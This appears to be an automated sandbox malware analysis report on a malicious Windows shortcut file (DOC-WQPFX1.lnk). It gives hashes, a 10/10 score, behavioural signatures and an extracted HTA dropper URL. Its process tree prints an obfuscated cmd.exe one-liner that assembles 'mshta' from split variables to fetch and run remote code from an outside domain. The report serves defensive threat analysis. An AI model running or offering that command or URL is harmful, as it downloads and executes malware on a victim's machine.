Analysis
- max time kernel
148s - max time network
115s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:33
Static task
static1
Behavioral task
behavioral1
Sample
DOC-WQPFX1.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-WQPFX1.lnk
Resource
win11ltsc2024-20260710-en
3 signatures
150 seconds
General
- Target DOC-WQPFX1.lnk
- Size 1KB
- Sample260804-kf98za1tex
- SHA256 19ce7144f27149dba7335ee981af6f370e66228b00f88c344bf30d4402494991
- MD5 c97da33d11b9238051878d0a5e1d508e
- SHA1 77458f3c2a5e265a30544830692412db1b8fb953
- SHA512 b979273c9a95b9049990927aad195e2491d2d9f8db53948abc51e37e2370313b16ba8de56c05ef9e4508c85c85031584b1e8d6d66eac100b7f031f27f9b5b0f0
- TLSH T1E83147502EFD0624F3B78FB694BB572485BAB8558E20CA2E0141454C5072A15E13BFA7
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 6120 cmd.exe 2252 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 6120 wrote to memory of 2252 6120 cmd.exe 90 PID 2252 wrote to memory of 2632 2252 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-WQPFX1.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6120 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set PR=msh&&set myF=ta&&start "" !PR!!myF! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:2632
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